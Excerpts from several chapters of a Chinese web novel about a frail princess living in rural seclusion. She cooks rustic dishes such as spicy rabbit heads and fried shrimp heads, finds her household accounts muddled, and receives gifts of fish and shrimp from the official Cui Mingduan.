袁志不单是会做事，这几年在京中生活，连察言观色的功夫也见长，马上道：“郡主先进屋，属下抱了柴就来。” 秋风甚大，带动着树叶哗哗作响。 萧家的炊烟，起的不算晚，和张大娘家的，遥遥相望。 山鸡是鲜活的，起出的肉裹上薄薄一层油，稍稍腌过，过水一焯，肉质鲜嫩多汁的。和米粥一起炖着，不柴，也入味。 卢妈妈好不容易才同意来吃这小半碗的山鸡粥，但也要将肉都挑给萧鸣笙。 原身吃了几年的素斋，肚量是极小的。萧鸣笙想补，也得缓缓。 “嬷嬷自己吃的。这一回我入宫，听御医说，这养生之道，过犹不及。山鸡肉是好，但再好的东西，也怕吃多了。万一撑着了，岂不是还要再煮一剂消食的汤药来……我是不怕苦，就是怕费了家里的炭。” 主子的口舌原本就是伶俐的，只是突逢巨变，这些年在山野里孤苦无依，越发不爱说话。乍然说这些，卢妈妈既是欣慰，也心酸。 她的肉挑了出来，不能给郡主，便要给小辈阿草。 阿草是贪吃，但也不能贪卢妈妈这一口，赶忙是捂紧了碗口，“我午后才吃坏了肚子，想来就是郡主说的，那什么过……过什么的……妈妈你自己吃吧。” 要给袁志，他一个汉子，哪里能和卢妈妈抢吃的，自己这碗不匀出去，已经臊红了脸。 一人半碗的山鸡粥，再配一碗山鸡枸杞汤，萧鸣笙那碗，分了几颗圆润的红枣。她抱着汤碗，就着廊下被缓了几回的秋风，吃得干净。 山鸡是鲜活的，煮汤用的也是山上引来的泉水，只需加一点点的盐来提味，便足够鲜美。 * 麻辣兔头虽好，就是费功夫。 趁着众人给她烧水沐浴，她便趁着沐浴前的空档，把兔头给腌了。 姜切成块，野葱拧成结，再配上两倍多的盐。也用不了精细的盐巴，家里有用来腌菜的粗盐，萧鸣笙照着比例舀了小半碗出来，阿草自告奋勇也帮着揉搓。 今日她的肚子是坏了，但这道兔头也不是即刻就能吃，明日就该好起来了，到时让袁大哥分一口也行。 她的手劲大，照着主子的吩咐，一下一下搓着，顺道是将粗盐化开了。 “郡主，然后呢？” 萧鸣笙盘算着剩余的辅料，几味不大常见的，譬如砂仁、排萆、山奈，家里大抵是没有的，没也不打紧。八角、桂皮、小茴香、草果、花椒、丁香、豆蔻、香叶，还有红曲米和料酒，哪样是能再精简的？ 极少打过这么贫瘠的仗，她也是苦恼得很。 最后，还是卢妈妈拿来了一包香料，里头就有最最要紧的八角、桂皮、花椒和桂皮，兔头要腌渍六个时辰，正好放着过夜。 * 第二天，雾气还没散，红日又冒出了山头。 记挂着出门的事，萧鸣笙的身子也争气，吃了肉，也喝了汤，腿脚明显是有力的。 费了这么多东西，单煮一个兔头也太阔气，袁志天不亮便又进山去了。 萧鸣笙也想出门走一走，卢妈妈在灶房里煮粥，不大放心。 “无事，我就在家门口走一走，散散心就回，保不齐嬷嬷的粥还没沸呢。” 阿草自然是得寸步不离跟着，二人沿着山野小径走。来萧家的路，也就这么一条，原先是用石板砌的，但过了好些年了，也没好好修一修，有的石板已经断裂，有的是豁了一个口子。道旁草叶枯黄，秋露圆润，尽显山野之趣。 萧鸣笙许久没呼吸到这样清新的空气，顿觉通体舒畅。 山脚下的良田，也和栗子糕一般，一块一块的，好不惹人怜爱。 “家里的地，是在哪儿呢？”萧鸣笙问道。 阿草其实也不大清楚，但有一点是知的，“梅花坞是有几户大姓，原先我们来的时候，乌泱泱一群人，虽没说身份，但百姓姓好像也知是贵人，这些年没来打扰……哦不，我记得一户姓张的，这两年倒常来，要不是大哥在，还不知那些人要生出什么心思呢？” 少女愤愤不平，萧鸣笙越听越心惊，合着自己这个便宜郡主不止在山野养病，还隐姓埋名呢。万一要是遇到山匪盗贼什么的，抑或是什么小人雇了杀手来，就凭着袁志一人，是能挡住么？ 想来是她的情绪过分明显，阿草反而是笑嘻嘻安慰：“郡主别担心，要是有什么人不长眼，就让他见识一下大哥的棍法。” “呵呵……” 萧鸣笙面上是笑的，心中一直在念佛。好歹是天子脚下——虽说是在天子宽阔的脚边，但也是在京师地界，出了事，也难以交代的吧？ 她一面自我安慰着，一面要往回走。前面却拐出一个人影来，她吓了一跳，阿草也呵斥了一声：“是谁？” 借着拐道和槐树的遮掩，那人躲了半晌，才弓着腰出来，“是我是我……前几日，姑娘是见过我的……” 来人，正是往萧家送了一筐红薯的李老三家的媳妇。 阿草神智不如常人，歪着头想 7. 麻辣兔头 《梅园食方》全本免费阅读 同是女儿家，女子如何就不如男了？ 西北将军家的女儿，从小也精于骑射，大战后家破人亡，虽是封了郡主，至高之上的荣耀，最后只能在这山野养病。她能做的，似乎也就只有把家里种不了的田租给另一个苦命的女子。 萧鸣笙的心口忽而胀胀的，一手扶心走了几步。 “郡主这是怎么了？”卢妈妈瞧见了，马上问道。 “无事……似乎是有些渴了。” 萧鸣笙进屋去找水喝，也借此平复情绪。原身行事，自有想法，可怎么就将日子过成了这样？ 没等多想，阿草端了一壶茶进来，快言快语说道：“卢妈妈说给郡主嗅一嗅，万万不能喝下去，会解了药气。” 外头隐隐有腥膻血气，娇气的人是该熏恶心了。 “唉……” 然而，教人恶心的，不是入目可见的腥气，而是这不可触的腐朽。 萧鸣笙自知没有改天之能，只能承了众人的好意，配合捧着那杯茶嗅了嗅，“这茶……” 家里用的白瓷，但见茶汤清淡，香气也淡。 还不是悠微的淡，像是水果掺和了十足十的水分。 “这茶？”萧鸣笙再次发问。 阿草也被问迷糊了，继续说道：“这茶，是卢妈妈给郡主闻的，不是喝的。” 闻的？ 所以，用的比较次的茶叶么？ 萧鸣笙又循循善诱道：“我不是一直病着不能饮茶么？家里的茶……” “家里的茶，就放着。冬日里，要是有牛乳，卢妈妈就会煮一锅热乎乎的牛乳茶……” 说起这个，阿草忽然又希望冬天早些来，已经好久没吃到牛乳茶了。 瞧着阿草眼神迷离，唇角上扬，像是在回味美食，萧鸣笙也知要开门见山，于是便直接问道：“我不是不能吃茶么？怎么还送了这样多？倒不如给我们折成现银……” “多吗？”阿草回过神，又苦恼反问道，“好像一年也就几包啊……原来这茶，是个好东西呢，难怪卢妈妈一个冬日也不煮几次。：也是每年送来的。郡主的封地有茶，不过御医说不能多吃，一年拢共也就五包，其余的，说是折成了现银。” “……” 那银子呢？也没见到。 好一笔糊涂账！ 萧鸣笙的心口，更疼了。这回的意识，是她自己的。 兜兜转转，也不知是教人贪了多少。当下之急，是早早养好身子，看下回进宫，是不是能查一查。 * 午食，袁志吃的是麻辣兔头，从前没吃过。阿草看着直吞口水，按理萧鸣笙是不跟他们在灶房里用饭的。 但是，她做了兔头，也得教人怎么吃。 她比划了一下，“握住牙齿，掰开成两半。就可以把脸颊的肉啃了，将舌头吃掉。然后，把兔子的后脑勺掰下来，吃里面嫩滑的兔脑花，翻过来把上颚吃掉。” 袁志照着做，掰开后，香气似乎是更浓郁了，阿草吸溜了好几回的口水。 “要不，脑花给你吃？”脑花被骨头包围着，应该是没沁入多少辣汤。 “好啊好啊，大哥你真好……” 阿草接过那块骨头，同时还有萧鸣笙递过来的勺子，“谢谢郡主……” “给我也吃一口脑子吧。” “啊？” 这下，莫说是阿草了，连卢妈妈也拦了，“这脑花又不是什么稀罕东西，郡主可多吃些瘦肉吧……” 脑花滑嫩，浸了卤汁，但没那么辣，她吃一口也无妨。 阿草忍痛分了一口，口水更留不住了，“郡主，你身子不好，尝一小口就好。” “我知道，眼珠那儿还有一点眼圈肉，不喜欢吃眼珠的丢掉也罢。” 萧鸣笙馋是馋的，舀了小半勺一尝，入口绵滑，稍稍一抿，便顺着食道滑入胃中，滑溜得和豆腐似的，但又是个荤的，吸了卤汁，味道不辣。 要不是身子不好，她定要好好啃一啃兔头。 现如今就一个兔脑壳，本也没多少肉，几个人分着吃，热热闹闹，和和气气，卢妈妈没加进去，看着却是心酸不已。 从前她在将军府做粗使婆娘，兔脑壳也是不吃的。厨娘就是做了，那也是小厮们塞了几个铜子求的。 她们有主子赏下来的东西，费功夫吃这个做什么？ * 靠着山鸡和也野兔滋补着，不出几日，萧鸣笙自觉神清气爽，能走好大一段路。 说要去看的红薯田，也该动身了。 “早知郡主要出门，春日的时候就该编个帽子预备着。” 这几年要守孝，又病着，萧鸣笙就没出过门。这会儿，就是翻遍了家里，也找不个帽子来。 袁志进出是不用这些东西的。临时要买，梅花坞也找不到集市，只能是趁着天光亮时就出发，等日头大了就回来。 家里总要个人守着，卢妈妈便留在家中煮粥，送他们出门，还絮絮叮嘱着，让人早些回来。 那片田，说远也不远，就一炷香的路，到了地方，袁志再一指，“这一片都是。” 举目望去，山林还是绿的，隐隐有一二红叶。山脚下这绿油油的一片，一时教萧鸣笙忘了呼吸，置身其中，恍然有沧海一粟之感。 也不知是几亩地，一年收个三吊钱，实在是善心人才会做的事。就种个稻子，一家子的口粮也是有了吧。 她也不便问，为何还要分一片田给她。 袁志是人精，又答道：“这梅花坞，可能是有后山的梅花才得名，本来也没多少人家，主子要养病，这一片都在主子名下。” 村子离这儿也有一两地，她养病是再清静不过的。 左右也到了地方，萧鸣笙也不打算空手回去，“家里的红薯，也快吃完了，我尝着滋味不错，既然来了，也挖一些回去吧。” 袁志便去挖红薯，而萧鸣笙也没闲着。家里的咸菜，是由卢妈妈做的。咸，与菜，分开的，又是合一起的。 也不知这儿能买到什么菜，薅些不要钱的红薯梗回去。 她蹲那儿，薅了几把，才想起个要紧的，“我倒是忘了问，那李家嫂子，她家是养了几头猪，可是要来割去喂猪？” “家里有四五只吧。”袁志答。 阿草拨着红薯梗，歪着头想了想，“对了，有一年，她还送了腊肉过来，好像是说猪长得好。” “倒也是个实诚人。” 念着那几头没见过的猪，萧鸣笙也没多薅，能做一罐咸菜便好。等过阵子，萝卜该也上了，到时来腌萝卜，才有滋味。 没等回去，李家三媳妇便急匆匆来了，裤脚和袖口还是挽着的，湿了一半。 “姑娘怎么自己来了？你们想吃，明日我就送上去。”这租，也不知是要拖到什么时候能还上，原本让他们自己来挖的说辞，就挺让人羞愧的。 萧鸣笙久没见日头，皮肤白皙，却是不经晒的。就走过来的功夫，在日头底下的时间也不长，如今已经是燥红。 饶是个外人，看了也是于心不忍的。 跟着老三媳妇一道过来的，是村子里的一个男童，眼珠子是滴溜溜地转，带着些笑，很是伶俐的模样。 就是他看到这片田有人的，他们的衣物比村子里的人好，像是过年才会穿的好衣服。 那一定就是住在山腰那个姑娘了。 “听说嫂嫂家里也养了猪，孩子又病了，我们自己挖几个就是了。这红薯藤，要割回去喂猪吗？” 萧鸣笙指尖沾了红薯梗的汁液，说话时一抬手，老三媳妇看了更是红了脸。 “家里的大猪可以出栏了，就 8. 送鱼虾 《梅园食方》全本免费阅读 阿藤也跟着停下，留心去听那边的动静。不晓得是哪位贵女来梅花坞。这也不是赏梅花的时节，莫不是来看红叶的？ 山林零星的几棵枫树，还没大人的官袍惹眼。 脚步声杂乱，似乎是乌泱泱一群人。 “大人……” 阿藤才出声，崔明端已迈步而去，他的嗓子是有些哑，莫名也想吃一碗山上引下来的泉水。 只不过，此刻，尽早回京述职更为要紧。 外头的马车也已经候着了，崔家的吩咐，旁人是一刻也不敢怠慢。 崔明端踩着脚凳，临上车前被秋风一扫，动作迟疑了半晌。 这渡口的风，着实是不甚美妙，掺杂着货物的腥气。 “那船，运来的鱼虾，去买一些。” 崔明端才吩咐，阿藤忙不迭应下，笑着道：“是，这鱼虾新鲜，买些回去，夫人该是爱吃的。” 已经掀开车帘，将将要进车厢的人，真真是进退不得。也不好改口说不是要送回府的。他颇是无奈，幸好阿藤的脑子转得快，当即吸了气，赶忙改口道：“虽是同在一地，想来山上下来一趟也不容易，小人再送些去……” 不必说清是何处，主仆间自有一股默契。 * 来梅花坞讨水喝的人，穿过田埂，感受着麦田余秋的香气，舒服得眯了眯眼。 这儿不缺水，村子有河，也有多口水井。村尾的井，正好是在李家外头。不过附近养了猪，气味不大好，所以，少有人过来。 李家老三是排在中间的儿子，最是容易被忽略，分地建房时，也是打发了他来。 村尾没几户人家，四周的房子不算紧密，不比在村子中间挨挨挤挤。 走到村尾，阿草也忍不住用袖子遮了鼻子，也贴心将自己的帕子递给了郡主。 老三媳妇搓着手，很是不安，该请姑娘去村里别的取水点吃水，可姑娘额头密密麻麻的汗珠，又红着脸喘气，怕是走不了多远。 那孩子也灵透，得了婶婶求助的目光，说可以去打水来。 阿草和袁志都不放心来路不明的东西，“我们……也走累了，要是这井的水能喝，就打一桶吧。” 光是看着也不放心，袁志亲自走上前去。 井口黑黢黢的，他打了水上来，仔细看了会儿，那孩子跟着看了看，黑亮的眼珠子一转，就掬了一捧水，呲着牙说：“听老村长说，这口井是请了先生看的位置，很甜的。” 说完，他也低头将那捧水喝了，下巴还不停滴着水珠。 如此，袁志也请主子上前来净手，另外打了一桶。 萧鸣笙说来喝水，一是真渴了，二来也想看看李家老三的境况。 吃了几捧水，她的不适缓和不少，不等开口，李家那生病的女娃便开始放声大哭。 从自己身上掉下去的肉，老三媳妇一听更急了，朝家里的方向走了几步，才想起姑娘也在，“我……我……” “没事，孩子醒了，嫂嫂回去看就是……”萧鸣笙侧身瞧着这领路而来的小男孩，“这是嫂嫂族中的孩子吧，有他带着就行。” 家里头的哭闹声越来越响，让人揪心。为人母，终是小跑着回去哄孩子。 留下的这孩子，小名叫包子，“我的大名，叫包富，是那个有钱的意思。” 萧鸣笙：“……” “这名好，我也想有钱，要不大哥你叫我阿钱吧……”阿草就觉得自己的名字太随意，要是能来财，家里是日日要吃肉的，大哥也要喝酒。 “阿钱？”包子先是疑惑，再是笑出声 ，笑完才赶紧打住。 萧鸣笙也忍得辛苦，但不忘这次的目的，“包子家里是做什么？是卖包子的么？” 包子也希望是能卖包子，“我家和婶婶家都是种地的，梅花坞的人家，都种京郊的田，但我们还挨着渡口，像三叔，力气大，还可以去渡口找活干。” 他也举起了自己的手臂，纤细如瘦竹，不够有力，就是再长几年，也不能和三叔一样去渡口讨生活的。 “你三叔……能去渡口，家里的日子好么？”萧鸣笙问道。 “唉……”原本是一脸羡慕的人，忽然又垮了脸，包子是自来熟的性子，挨着袁志，悄悄告诉他们，“三叔能赚钱，但是也架不住他老母会花钱。她一日要吃四个蛋呢，谁家能有她会吃？眼睛就跟刀一样，也就三叔家好说话，一日给她吃那么多蛋，换了我娘，一扫把打出去。她嘴毒人也坏，不帮着婶婶带孩子，光吃蛋，还要说人闲话……” 萧鸣笙与袁志面面相觑，阿草听了好大一番话，半歪着着头思考着。 合着老三媳妇家还不起租，还有她婆婆的缘故呢？ 不过，到底也是别人的家务事，自己立不起来，他们去了也是惹一身腥，也没多大的意思了，萧鸣笙便打道回府。 回去前，袁志犹豫了一番，想了想，才说道：“属下记得梅花坞的渡口有停靠渔船，里头的东西，是京城里的酒家预定的。但……” 他们去买，也不一定买不到。但是，郡主不能吃蟹，鱼是能吃的。 萧鸣笙也馋，但…… 如袁志顾虑的一样，要是他能直接买到，何必这样迟疑，又来请示主子的意见？ “罢了罢了，我的身子才有气色，缓些日子再说吧。今日就算是买了回去，只怕嬷嬷也忧心。” 如今，家里能用的现银，也就两百两，听着挺多。寻常人家肯定是够用的，也不知萧家是否还有人情往来，或是故旧需要接济一二。 吃鱼虾，不急于一时！ 萧鸣笙几乎是咬着牙，绷着脸开解自己。 下山觉着新奇，野趣无限，一步步走回，萧鸣笙在半道就气喘吁吁。 这具身体的虚弱程度，可见一斑。 她脸色傻白，冷汗簌簌而下，阿草也慌了，当即是弯着身子，就要背着她走。 “没事……我能走……” 原身就是再瘦弱，份量也是有的。 也是她低估了阿草的能耐，或是这具身体所遇到的境况要糟糕得多，能留身边伺候的人，多少是能应付的。 阿草背着人，也走得飞快，远远看到家门时，袁志忽然是拦住了阿草，“放主子下来吧。” “放什么啊？大哥，郡主逞强，你怎么也糊涂了？” 袁志没直接解释，但是院子里似乎有别的声响。 萧鸣笙被背着走了半路，不适感也淡了不少。她本也是要让阿草让自己下来。 出门的时候答应得好好的，要是背着回去，下次再出门，就难了。 她落地站着，扶着阿草的手稍稍平复心绪，便瞧见了前头有几个人出来。 一身黑褐色的衣衫，像是某一家的服饰。 袁志和阿草的身量算是高大的，他比阿草反应快，一边是低声吩咐阿草将主子遮掩着，一边是站在外头。 那些人有认识袁志的，即刻朝着他行了礼，“袁大人……” “不知诸位是？” “小人是崔 9.香煎虾头 《梅园食方》全本免费阅读 “我来处理几只，阿草看着些，这虾头还是个好东西，放在锅里煎一煎，熬出的虾油可香了。” 萧鸣笙撩了衣裙，已经是蹲好了，但阿草紧跟在身边，小声说道：“妈妈手里的有了钱，家里是有油的，也要吃这个虾头吗？它长这个样子，很不好入嘴呐……” “就拿它来煎个油，或是熬个汤。村里有人卖豆腐的么？如果有的话，买两块来煮汤，虾头菌菇豆腐汤，鲜掉眉的。” “啊呜……” 光是听名字就很香的汤了。 阿草也学的用心。 处理虾子，也就那么几样。掐住虾头，再轻轻一拔，整个虾线也跟着出来了。去头留身的虾，可以用来做椒盐虾，出锅前多煎一会，壳是酥脆酥脆的，连壳带肉一块吃，特别下饭。 想着嬷嬷总是要煮粥，萧鸣笙先处理了几个虾仁出来。开背虾自然也是不能少的。 萧鸣笙沿着虾背轻轻一划，适合蒸煮，放上蒜蓉酱。 她们处理着虾子，袁志也取来了家里一个老旧的木盆，装满了清水，将竹筐里头的东西一一拿了出来。 令人惊喜的是，不止有鱼虾，甚至是有一袋子蛤蜊。 萧鸣笙看了一眼，也颇是惊喜，“你这盆准备得正正好，让它们吐一吐沙，明日再吃，真是干净又鲜美。” …… 好一番忙碌，萧家小院里都是鱼虾的腥气，阿草的嘴角只差是咧到后脑勺去，“这么多肉，午食能吃三碗饭吗？” 卢妈妈帮着把东西拿到灶房去，瞥了她一眼，“还是少吃些吧，上回不是将肚子吃坏了么？” “啊……上回是我太久没吃肉了。今天不一样，我的肚子已经有兔子和山鸡打底了，今天就是吃个十碗八碗也没事。”‘ “真这么吃，有事的该是那米缸才是。” 卢妈妈又是肉疼，又是无奈，可要下米时，也不由是多抓了一把。 萧鸣笙扭头瞧了眼，笑道：“若不然午食就吃汤面？嬷嬷帮着揉个面团来？” “好啊好啊……”阿草兴奋说道，“郡主一直吃粥，吃个汤面换换口味，身子一定会好得快的。” 郡主和阿草都这样说了，卢妈妈自然是听的，舀面粉的时候，也多了一勺。 袁志用竹扫帚奋力刷洗着青石板上残留的秽物，灶房里的锅已经是热了起来。 灶膛的火，呼呼燃着。 阿草坐着也有小半刻钟了，往日红扑扑的脸蛋，在火光的映照下，更是红光满面。 她的眼睛直勾勾看着锅里，不住叹道：“郡主，好香啊……郡主好香啊……” 萧鸣笙是不香的。香的，是锅里黄亮的虾头。 用剪子将虾枪剪去，贴着壳处理，便能看到一个黑乎乎的沙包，这是虾子的胃，藏污纳垢的，把它挑出来，虾头前端还带着黄，是个好东西，怎么能丢了？ 在锅里放一点油润锅，放入虾头小火煎，熬出黄亮的虾油，萧鸣笙拿了海碗盛出一部分虾油，剩下的虾头炒到变色，再加姜片和野葱爆炒。 这香味，勾得人口涎不停分泌。 香煎虾头出锅，再将大海碗那些放回锅里，加水煮一大锅的汤面，卢妈妈就是想分出个彼此，也无从下手。 汤面出锅，热气腾腾的，萧鸣笙怕烫，放凉的功夫，自然是要来吃一吃虾头的。 只是，没等她伸筷子，卢妈妈的眼，和天上巡视的鹰似的。虾头是个腌臜东西，给阿草吃也就算了，郡主怎么能吃？ 萧鸣笙面上乖巧，等嬷嬷转身去灶房看着药的时候，眼睛看着，手是熟练摸上了盘子。 阿草才要出声，萧鸣笙赶忙是按住了她——另一只手的动作也不能停，已摸到了一个虾头，还是温热的。 卢妈妈一回头，萧鸣笙刚好是藏在了手心里，面上端的是云淡风轻。 阿草看的目瞪口呆，袁志也难得是笑了笑，也咳了咳，卢妈妈又狐疑回头，问道：“是不是这两日吃多了肉，上火了？“ “没呢没呢……” 阿草这会儿终是反应过来了，抢着替袁志答，“就吃了两顿肉，怎么会上火呢？大哥就是坐在风口，所以吃了一嘴的凉风，是吧大哥？” “咳咳……”袁志只是一个劲地咳嗽。 卢妈妈半信半疑走了，萧鸣笙已经拈着那虾头吃了一口，果真是酥脆鲜香。那一点点的虾膏，比蟹膏的份量更少，吃着也越发满足，她心满意足嚼了嚼，连带着壳也吃了下去。 吃了一个，忍不住要再夹一个，阿草看得也心痒痒的，但只是吞了吞口水。 萧鸣笙要吃，她自然是没拦。 袁志就是想拦——也觉着郡主自有主见，吃一两个不打紧。刚刚阿草说他在风口处，这会儿，便借故走了几步，往四处看了看，这一打量不要紧。 他在西北军中多年，自比常人警觉：似乎是有人在窥探萧家小院。 这几年，萧家的防卫，自然也不是靠他一人，否则，引开了他，来几个武艺高强的人，便能将萧家夷为平地。 然而，秋风一过，林木萧萧，敌我明暗过于分明。 他压住心头的不适，告诫自己不能打草惊蛇，如常坐回去。 小院里的风，经围墙挡了挡，不甚扰人。萧鸣笙只管笑眯眯和阿草分享着那一盘香煎虾头。她适可而止，尝了三个，对着红彤彤的手指头，也不敢吮了，很是痛心拿帕子擦了擦。 随后，她起身去看看角落木盆里的蛤蜊。蛤蜊有了活水，壳是张开的，安逸吐出一个个泡泡来。 * 萧家的小日子，忙碌但安逸，有了肉食的加持，更是满足。 京城里，人声鼎沸。 崔明端从宫墙出来，已近午食。圣上器重，要赐膳，崔明端言三年未归，已然不孝，这才得已脱身。 登上马车，赶车的是用惯的心腹阿藤，看大人一脸倦色，也有些拿不定主意。 “怎么？” “大人，东西送到了。只是，底下的人……也不知是不是眼睛给山风扑着了，说是看到了些东西，不知该不该说……” “是什么？” 崔明端眉头微蹙，原本是轩然霞举的郎君，难得是松了心神，就倚着车厢，露出疲态来。本就是舟车劳顿，再入宫述职，此时此刻，他只想回去沐浴，小憩片刻。 “大人容禀，这事……实在要紧，方才人也多，他们知道分寸，还没来得及回禀，不如等回了府，再召他们来回话。” “也罢。” 车轱辘声，慢慢悠悠响起，与街上行人车流融在一处。 崔家早早得了崔明 10.第 10 章 《梅园食方》全本免费阅读 管事战战兢兢回着话，这一笔银子，确实是略多了些。但那是夫人身边的嬷嬷吩咐的差事，他们得照办。何况，银子是实打实的好物件，他们也……抽了些油水。 郎君一向是不管后院的事，怎么今日回来便问起了？ 他们自诩抽的油水也不过分，又壮着胆子回：“去年冬天，下了几场大雪，好些园圃遭了灾，菊花的价格是略涨了……但是，因为是府里要，也买的多……这价格，也算是公道的……” 不说公道则罢，一说崔明端便合了那账目，眉眼是不怒自威。他不到三岁便随祖父开蒙，而后读了多少圣贤书，又是皇子伴读，看过的账目多如牛毛，光后宅这点小伎俩，怎逃得过他眼？ 不过，他也没直接问，只话家常，“金秋是该添置菊花，既是母亲着意要，除了我院子这些，余下的，都在主院？” 那管事总算是松了一口气，哈着的腰也略略挺了挺，“郎君说的是。除了这儿有三十盆，夫人那儿也有二十八盆，余下各房都有，对我们三房感激得很……” 恭维的话，崔明端没再细听，只是挥手让人退了下去。 账上支取的，是一千两银子。 这一千两，就是在崔家，也不算一笔小数目，他过问一声也属常事。然而，不寻常的是，不及半刻钟，三夫人又差了人过来送东西。 这一回，送的是蜜羹。 加了金秋桂花的蜂蜜，原该是香甜的。但崔明端吃着，有一股泛酸的味道。桂花蜜冲泡不难，但是水有讲究，水开后放凉至半热，最佳。 这碗蜜羹显然是错了法子，就是不知道是新人无知，还是老人心急。 崔明端只尝了一口，便将碗放下了。 那嬷嬷浑然不知，还在为那一千两的菊花账急急解释着：“夫人听说了六郎对中秋支出的那笔银子有异议，便让老奴过来说一声……那菊花，不为府里，只是想着那位主子金贵，宫里的赏赐也有，我们再送些寻常的节礼过去，怕闹了笑话。这不，听说苗圃出了几个新的品种，那家和府里也熟，开了个极公道的价。可惜，等菊花买了送过去，也不知怎么的退了好些回来……夫人也为难，好在分了下去，众人也欢喜，如此，才不算是闹了笑话……” 嬷嬷的声，声调忽高忽低的，从头到尾将事情的缘由说了出来，神色之丰富，俨然如戏台上的角。 崔明端坐着未动，口中还泛着蜜羹的酸气，指尖不住摩挲着手中的狼毫。 就连是阿藤也跟着深深吸气：大人鲜少这样不耐烦。府里的人是怎么了？大人是下放任职，不是从山沟里来京城投亲的穷书生，好生蹩脚的说辞，怎么能瞒过主子？ 那婆子等了半晌，也没等来郎君的回话 ，后知后觉收了声，再小心抬眼去瞧主子的神色。 崔明端淡淡应声，说等日暮再去向母亲请安，那嬷嬷才算是如释重负松了口气。 阿藤去送的人，回来看大人还伏案写着什么，更是拿不准主意，多嘴嘀咕了几声了：“这菊花，买便买了，左右大人也没说什么，怎么他们一个个心虚得很？大人可要小人去查查？” “不必了。” 崔明端搁了笔，望着自己默出的两句诗，又是一叹。母亲都出面了，再查下去，不管有没有问题，都伤了母亲在府里的威严。 清风徐来，案头书册与公文高高堆起，崔明端也随风叹了叹，抬手按按额角，将看完的公文放在一侧，出府寻友，一同去茶楼座谈。 * 临仙楼，最富盛名的，是一道秋藕。 名气大，很多人慕名而去，菜上得慢了些，在杳杳莲香中，萧家的鱼片虾仁粥先上桌了。 这道粥的做法，没什么要诀。就在大米开花时，快速将虾仁和鱼片放进去。滚烫的粥水会把虾仁和鱼片焯熟，保留鲜嫩多汁的口感。 再放入切好的姜丝也放进去。如若是爱吃姜的，将姜丝切得切碎些，也无妨：只为去腥，切成条状亦可。 而后，搅拌几回，由着炭火熄灭，将粥舀出来，粥水还是清明的。喜欢浓稠点的，便由着炉子的余温再焖一焖。 这期间，腌好的秋刀鱼也下锅了。 梅花坞的渡口，规模不大，却是离皇城最近的，往来货物丰富。崔家送来的，都是应季的鲫鱼、鲈鱼和秋刀鱼。 按理来说，这么多鱼虾，何苦先吃那道香煎虾头和汤面？ 萧鸣笙怀着些心思。萧家日子是难，但比起寻常百姓，已是好的。这几日瞧着，似乎是卢妈妈过于勤俭持家的缘故——按理来说，这样勤俭，家里应该能攒些银子，但是去年就剩了二十多两，不知是否有大开支。亏得他们几个都在壮年，否则，怎么挨得下去？ 这鱼虾，就是变着法，也得一起吃了去。 卢妈妈久在西北，分不清这些鱼的好坏来，只是看鲫鱼和鲈鱼个头大，在预备饭食便絮絮说着：“郡主心善，亲手做了饭食给奴婢们吃……这样肥美的鱼，可万万不能再祸害了。” 于是乎，肥美的鲫鱼从尾巴开始切成薄片，用盐水浸泡一刻钟，同虾仁一道煮了海鲜粥。而细长的秋刀鱼，去掉内脏后，将肚子的黑膜去除干净，在两侧改斜刀，裹上面粉。等油锅热了起来，放入煎炸至金黄，再放入酱汁，中火焖煮至收汁。 萧家久没吃过像模像样的一顿饭了，萧鸣笙做的是四人的份量，卢妈妈的厨艺一般，规矩却是大的，坚决不肯和主子一起用饭，坚持在灶房里收尾。 萧鸣笙也不勉强，这具身体撑到此刻，也是勉强，擦了擦额角的汗珠，捧着海鲜粥专心吃着。 热气都盖过了呼气的声音，大口吃肉的满足感，极大抚慰了五脏腑。 这梅花坞，地方偏是偏了些，好歹是挨着渡口，竟然连海鲜也弄得到。虾子是剥壳的，不同于在水中烫熟，由米浆裹着，滋味更鲜甜。 秋季，也是鲈鱼肥美时，片出的肉，只管放心嚼 11.水蜡烛 《梅园食方》全本免费阅读 秋子，尝着不像是普通商铺卖的茶叶，大抵也是临仙楼的看家本事之一。 小童伶俐得很，没说出酒家采买的商队名字，反而恭维道：“郎君赏识，便是它的福气了，小的这就去包一些，还请郎君笑纳。” “如此，我倒是占了好大一便宜。” “郎君说笑了，您能来，就是小店莫大的福气。” “那便多谢了。” 荀二郎就是个富贵闲人，又不开门迎客，要他家进货的子也无用，收了茶叶倒是省事。 他出手向来阔绰，当即是解了荷包就丢过去。 那人忙道是不敢。 “拿着便是，下回有了新菜，务必差人来告知我一声。” “小人记着，多谢郎君赏，那小人先退下了。” 案几的狼藉收拾干净，又换了熏香，清甜的桂花香气压住了饭食的腥气。 荀二郎半倚着软枕，颇是好笑打量着崔明端。来了这样久，他的肩头，仍是平直的。 “当年三甲游街，可惜我病了，未曾得见探花郎的风采，纵是看了不少画册，也不及亲眼所及。” “荀兄打趣我了。” 崔明端提起茶壶，也想到了当年事，动作稍稍一顿，不过到底是年少往事，还没前日瞧见的青山教人牵挂。 二人就着当年的往事，有一搭没一搭说着话。荀二郎装了一肚子海贝，缓过了困劲，同崔明端作别。 就连崔明端也说不明白，今日约了荀二郎出来，是否只为叙旧。 在茶楼消磨了小半日，酒家已经开始预备夕食，飘出阵阵香味，仔细辨一辨，其中就有蒜香蛤蜊，海贝不常有，就是有冰，也不耐放，早早做了给京中老饕们解馋才是明智之举。 “要不，今晚来我家吃饭，就当是给你接风了。”荀二郎指着他的马车问道。 “这风，来了又去，不知荀兄接的是哪阵？” 崔明端抬袖，秋风将之刮了又刮，面上露了几分热切的笑。用荀二郎的话说，崔兄就该多笑笑，如三月春风拂面，不管多少年过去，都是当年的玉面探花郎。 “哈哈……既然崔探花和我打哑谜，我这人的脑子又笨，就当是白吃了一顿饭，这便傻乐着回去小憩。” 崔明端目送着荀二郎上了马车，车轱辘声渐渐远去，耳边也未重归安静。 市集人声鼎沸，少了这辆，又有那辆。 不管这事没了，那事也会来。 “崔大人原是在这儿，教奴才好找，” 远处小跑而来的，是常往宫外办差的公公，秋日微凉的天，都跑出了一头的汗。 “陛下有请。” * 午后小憩，萧鸣笙和往常一样睡了一个多时辰，这具身体，实在是太虚弱了，总是沉睡不醒。 艰难起身后，就着西去的日头，她打了一套拳法。 阿草没见过，以为是将军私下里教的，但也不免嘀咕道：“郡主不是最不耐烦——” 话才说一半，又被袁志咳嗽着打断了。 “怎么了？大哥你还真的是上火了啊？要不，我去煮碗药给你？” “不用……” “啊也对，家里好像也没多余的药，只有郡主。对了，刚才我说到哪里来着？” 二人在另一侧说着话，萧鸣笙也不去掺和，她的记忆总是时有时无的，实在是闹不清原身是会些什么，只能按着自己从前养生的法子来打一套金刚拳。效用似乎是有的，此刻觉着丹田暖暖，便提出四处看看。 